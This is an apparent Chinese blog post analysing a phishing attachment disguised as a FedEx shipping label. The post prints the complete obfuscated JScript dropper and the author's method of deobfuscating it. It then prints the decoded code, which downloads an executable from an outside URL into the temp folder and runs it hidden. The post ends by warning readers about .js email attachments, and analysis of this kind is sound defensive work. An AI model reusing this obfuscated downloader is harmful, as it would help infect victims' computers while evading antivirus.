zoukankan      html  css  js  c++  java
  • 20160307

    Windows Script Host 技术是一门很老的技术,它让 Windows 的自带脚本 VBScript 和 JScript 可以操作 Windows ActiveX 对象,这样的脚本具有本地权限,比如本地文件系统的访问,网络的访问等。我在邮件中收到一封来自联邦快递的邮件。附件为:Label_00979216.doc.js,很简单的混淆并压缩,代码如下,

    var a5 = 'va';
    var a3 = 'l';
    var a1 = '';
    var a4 = 'e';
    
    function opx() {
        a1 += 's(';
        pfo();
    };
    
    function fef() {
        a1 += 'Strea';
        iq();
    };
    
    function ciq() {
        a1 += 'GET"';
        ch();
    };
    
    function m() {
        a1 += ' Act';
        es();
    };
    
    function obm() {
        a1 += ' v';
        sqf();
    };
    
    function fzw() {
        a1 += 'rn';
        yeu();
    };
    
    function pab() {
        a1 += 'Shel';
        xwm();
    };
    
    function cr() {
        a1 += '; xa.';
        elt();
    };
    
    function jj() {
        a1 += 'xa =';
        rd();
    };
    
    function ny() {
        a1 += 'ry ';
        wk();
    };
    
    function ke() {
        a1 += 'fn';
        lh();
    };
    
    function wbl() {
        a1 += 'e ==';
        fpg();
    };
    
    function ueh() {
        a1 += '9531';
        n();
    };
    
    function ma() {
        a1 += '= 0';
        cr();
    };
    
    function q() {
        a1 += '); xo';
        s();
    };
    
    function rb() {
        a1 += '2455';
        em();
    };
    
    function so() {
        a1 += '= ';
        upv();
    };
    
    function xo() {
        a1 += 'pandE';
        dyu();
    };
    
    function xtj() {
        a1 += 'r,fal';
        qj();
    };
    
    function j() {
        a1 += ');';
        lyg();
    };
    
    function dyr() {
        a1 += 'pt.';
        pab();
    };
    
    function dyu() {
        a1 += 'nvir';
        x();
    };
    
    function lyg() {
        a1 += ' }; }';
        pws();
    };
    
    function suv() {
        a1 += '00D10';
        tla();
    };
    
    function sdx() {
        a1 += '; ';
        wun();
    };
    
    function uet() {
        a1 += 'rnd';
        jp();
    };
    
    function exo() {
        a1 += 'n;';
        ht();
    };
    
    function wqb() {
        a1 += 'r)';
        whi();
    };
    
    function zh() {
        a1 += 'se';
        rj();
    };
    
    function zc() {
        a1 += '};';
        azk();
    };
    
    function elt() {
        a1 += 'saveT';
        qw();
    };
    
    function x() {
        a1 += 'on';
        jq();
    };
    
    function rj() {
        a1 += 'nd()';
        twi();
    };
    
    function bmc() {
        a1 += 'on';
        bq();
    };
    
    function xwm() {
        a1 += 'l");';
        obm();
    };
    
    function dt() {
        a1 += 'a.po';
        cn();
    };
    
    function yeu() {
        a1 += ' > 0';
        ws();
    };
    
    function ow() {
        a1 += 'xe",1';
        gw();
    };
    
    function bxl() {
        a1 += 'Strin';
        zko();
    };
    
    function le() {
        a1 += '); x';
        dt();
    };
    
    function nj() {
        a1 += 'p?id';
        ctl();
    };
    
    function a() {
        a1 += ' new';
        m();
    };
    
    function mok() {
        a1 += ' 1; ';
        hma();
    };
    
    function e() {
        a1 += 'Scri';
        dyr();
    };
    
    function qw() {
        a1 += 'oFi';
        kg();
    };
    
    function pc() {
        a1 += '38';
        adj();
    };
    
    function ruz() {
        a1 += ')+f';
        exo();
    };
    
    function yfs() {
        a1 += ' }';
        cw();
    };
    
    function kva() {
        a1 += 'L2.X';
        kf();
    };
    
    function ywg() {
        a1 += ',0,0)';
        ze();
    };
    
    function egd() {
        a1 += 'a.o';
        gz();
    };
    
    function bq() {
        a1 += '() ';
        mqo();
    };
    
    function yey() {
        a1 += 'dl(fr';
        fo();
    };
    
    function p() {
        a1 += 'ng';
        opx();
    };
    
    function gw() {
        a1 += ');';
        ne();
    };
    
    function jp() {
        a1 += '=583';
        ueh();
    };
    
    function ze() {
        a1 += '; ';
        ywx();
    };
    
    function wk() {
        a1 += '{ x';
        lf();
    };
    
    function mqo() {
        a1 += '{ if';
        u();
    };
    
    function hma() {
        a1 += 'xa.wr';
        oct();
    };
    
    function lyq() {
        a1 += 'MS';
        ta();
    };
    
    function fo() {
        a1 += ',fn,';
        ra();
    };
    
    function aa() {
        a1 += 's5-';
        k();
    };
    
    function lf() {
        a1 += 'o.';
        bqk();
    };
    
    function iec() {
        a1 += 'onse';
        l();
    };
    
    function pws() {
        a1 += '; t';
        ny();
    };
    
    function gz() {
        a1 += 'pen()';
        sdx();
    };
    
    function i() {
        a1 += 'yst';
        lg();
    };
    
    function la() {
        a1 += ' =';
        tbz();
    };
    
    function ta() {
        a1 += 'XM';
        kva();
    };
    
    function kf() {
        a1 += 'MLH';
        zpg();
    };
    
    function yt() {
        a1 += 'com/d';
        plz();
    };
    
    function ovq() {
        a1 += 'P%")+';
        bxl();
    };
    
    function ia() {
        a1 += ':/';
        zll();
    };
    
    function kg() {
        a1 += 'le(';
        ke();
    };
    
    function ff() {
        a1 += 'r ws';
        y();
    };
    
    function pp() {
        a1 += 'fn';
        ywg();
    };
    
    function n() {
        a1 += '","8';
        ym();
    };
    
    function g() {
        a1 += 'xo ';
        so();
    };
    
    function ng() {
        a1 += 'xo.';
        zh();
    };
    
    function mlz() {
        a1 += '("';
        ciq();
    };
    
    function ym() {
        a1 += '44';
        pc();
    };
    
    function kqc() {
        a1 += '09&';
        uet();
    };
    
    function omc() {
        a1 += '("W';
        e();
    };
    
    function wun() {
        a1 += 'xa.ty';
        tp();
    };
    
    function ctl() {
        a1 += '=54';
        pt();
    };
    
    function lg() {
        a1 += 'atec';
        ors();
    };
    
    function bmm() {
        a1 += 'XObje';
        rvo();
    };
    
    function zko() {
        a1 += 'g.fro';
        fr();
    };
    
    function ch() {
        a1 += ',f';
        xtj();
    };
    
    function l() {
        a1 += 'Body';
        le();
    };
    
    function jq() {
        a1 += 'mentS';
        jf();
    };
    
    function em() {
        a1 += '565';
        jet();
    };
    
    function cw() {
        a1 += ' catc';
        dig();
    };
    
    function yv() {
        a1 += 'e(92';
        ruz();
    };
    
    function twi() {
        a1 += '; ';
        oy();
    };
    
    function ws() {
        a1 += ') { ';
        zo();
    };
    
    function zpg() {
        a1 += 'TTP"';
        q();
    };
    
    function s() {
        a1 += '.onre';
        pao();
    };
    
    function rd() {
        a1 += ' new ';
        kh();
    };
    
    function vp() {
        a1 += 'XOb';
        dwx();
    };
    
    function vrm() {
        a1 += 'Act';
        v();
    };
    
    function oi() {
        a1 += 'ion ';
        ma();
    };
    
    function lvc() {
        a1 += 'D01';
        rb();
    };
    
    function pt() {
        a1 += '51';
        cg();
    };
    
    function bqk() {
        a1 += 'open';
        mlz();
    };
    
    function etm() {
        a1 += 'Run(';
        pp();
    };
    
    function hp() {
        a1 += '("AD';
        b();
    };
    
    function whi() {
        a1 += ' { }';
        ssb();
    };
    
    function v() {
        a1 += 'ive';
        bmm();
    };
    
    function w() {
        a1 += 'Stat';
        wbl();
    };
    
    function oct() {
        a1 += 'ite';
        pd();
    };
    
    function zll() {
        a1 += '/app.';
        aa();
    };
    
    function qj() {
        a1 += 'se); ';
        ng();
    };
    
    function plz() {
        a1 += 'ocume';
        wld();
    };
    
    function oy() {
        a1 += 'if (';
        fzw();
    };
    
    function b() {
        a1 += 'ODB.';
        fef();
    };
    
    function h() {
        a1 += 'ctio';
        o();
    };
    
    function zo() {
        a1 += 'ws.';
        etm();
    };
    
    function es() {
        a1 += 'ive';
        vp();
    };
    
    function r() {
        a1 += 'va';
        ff();
    };
    
    function aey() {
        a1 += 'rCod';
        yv();
    };
    
    function adj() {
        a1 += '33';
        fpe();
    };
    
    function tla() {
        a1 += '0D011';
        lvc();
    };
    
    function kh() {
        a1 += 'Acti';
        zn();
    };
    
    function ors() {
        a1 += 'hange';
        c();
    };
    
    function sqf() {
        a1 += 'ar fn';
        la();
    };
    
    function zr() {
        a1 += ' var ';
        jj();
    };
    
    function jn() {
        a1 += 'esp';
        iec();
    };
    
    function fpg() {
        a1 += '= 4';
        oh();
    };
    
    function iq() {
        a1 += 'm")';
        tgk();
    };
    
    function nyj() {
        a1 += 'ready';
        w();
    };
    
    function ht() {
        a1 += ' var ';
        g();
    };
    
    function k() {
        a1 += 'tech.';
        yt();
    };
    
    function ttg() {
        a1 += 'bject';
        hp();
    };
    
    function t() {
        a1 += 'ncti';
        bmc();
    };
    
    function bb() {
        a1 += 'xa.c';
        lfp();
    };
    
    function o() {
        a1 += 'n ';
        yey();
    };
    
    function tbz() {
        a1 += ' ws';
        fkc();
    };
    
    function jf() {
        a1 += 'tri';
        p();
    };
    
    function iiw() {
        a1 += '("';
        my();
    };
    
    function ssb() {
        a1 += '; ';
        zc();
    };
    
    function wq() {
        a1 += '0B';
        kqc();
    };
    
    function ra() {
        a1 += 'rn)';
        tux();
    };
    
    function oh() {
        a1 += ') {';
        zr();
    };
    
    function my() {
        a1 += 'http';
        ia();
    };
    
    function owg() {
        a1 += 'fu';
        t();
    };
    
    function lh() {
        a1 += ',2); ';
        bb();
    };
    
    function tux() {
        a1 += ' { ';
        r();
    };
    
    function wld() {
        a1 += 'nt.ph';
        nj();
    };
    
    function ywx() {
        a1 += '};';
        yfs();
    };
    
    function tgk() {
        a1 += '; x';
        egd();
    };
    
    function dwx() {
        a1 += 'ject';
        omc();
    };
    
    function lfp() {
        a1 += 'lose(';
        j();
    };
    
    function fpe() {
        a1 += '5.e';
        ow();
    };
    
    function upv() {
        a1 += 'new ';
        vrm();
    };
    
    function kag() {
        a1 += ' =';
        mok();
    };
    
    function ne() {
        this[a4 + a5 + a3](a1);
    };
    
    function rvo() {
        a1 += 'ct("';
        lyq();
    };
    
    function fr() {
        a1 += 'mCha';
        aey();
    };
    
    function dig() {
        a1 += 'h (e';
        wqb();
    };
    
    function u() {
        a1 += ' (xo.';
        nyj();
    };
    
    function y() {
        a1 += ' =';
        a();
    };
    
    function fkc() {
        a1 += '.Ex';
        xo();
    };
    
    function azk() {
        a1 += ' dl';
        iiw();
    };
    
    function tp() {
        a1 += 'pe';
        kag();
    };
    
    function pd() {
        a1 += '(xo.R';
        jn();
    };
    
    function pao() {
        a1 += 'ad';
        i();
    };
    
    function fs() {
        a1 += 'fun';
        h();
    };
    
    function c() {
        a1 += ' = ';
        owg();
    };
    
    function jet() {
        a1 += '24A07';
        wq();
    };
    
    function cn() {
        a1 += 'sit';
        oi();
    };
    
    function pfo() {
        a1 += '"%TEM';
        ovq();
    };
    
    function zn() {
        a1 += 'veXO';
        ttg();
    };
    
    function cg() {
        a1 += '515E1';
        suv();
    };
    fs();
    View Code

    虽然简单,但这样的代码不会被任何杀毒软件识别并查杀,稍看了看,属于字符串拼接为一个函数并 eval 执行,于是将最终执行前的函数:

    function gw() {
        a1 += ');';
        ne();
    };

    改为:

    function gw() {
        a1 += ');';
        //ne();
        WScript.Echo(a1);
    };

    复制出内容如下:

    function dl(fr, fn, rn) {
        var ws = new ActiveXObject("WScript.Shell");
        var fn = ws.ExpandEnvironmentStrings("%TEMP%") + String.fromCharCode(92) + fn;
        var xo = new ActiveXObject("MSXML2.XMLHTTP");
        xo.onreadystatechange = function() {
            if (xo.readyState === 4) {
                var xa = new ActiveXObject("ADODB.Stream");
                xa.open();
                xa.type = 1;
                xa.write(xo.ResponseBody);
                xa.position = 0;
                xa.saveToFile(fn, 2);
                xa.close();
            };
        };
        try {
            xo.open("GET", fr, false);
            xo.send();
            if (rn > 0) {
                ws.Run(fn, 0, 0);
            };
        } catch (er) {};
    };
    dl("http://app.s5-tech.com/document.php?id=XX51515E100D100D011D01245556524A070B09&rnd=5839531", "84438335.exe", 1);

    似乎是远程下载一个文件写入本地,并执行。地址已经失效,于是没有下载作进一步的分析。

    但提醒一下:双击打开 Js 扩展名的附件要保持留心。

  • 相关阅读:
    表达式for loop
    用户输入
    字符编码
    变量字符编码
    Python安装
    Python 2 or 3?
    Python解释器
    2017中国大学生程序设计竞赛
    Educational Round 27
    Round #429 (Div.2)
  • 原文地址:https://www.cnblogs.com/likun/p/5249151.html
Copyright © 2011-2022 走看看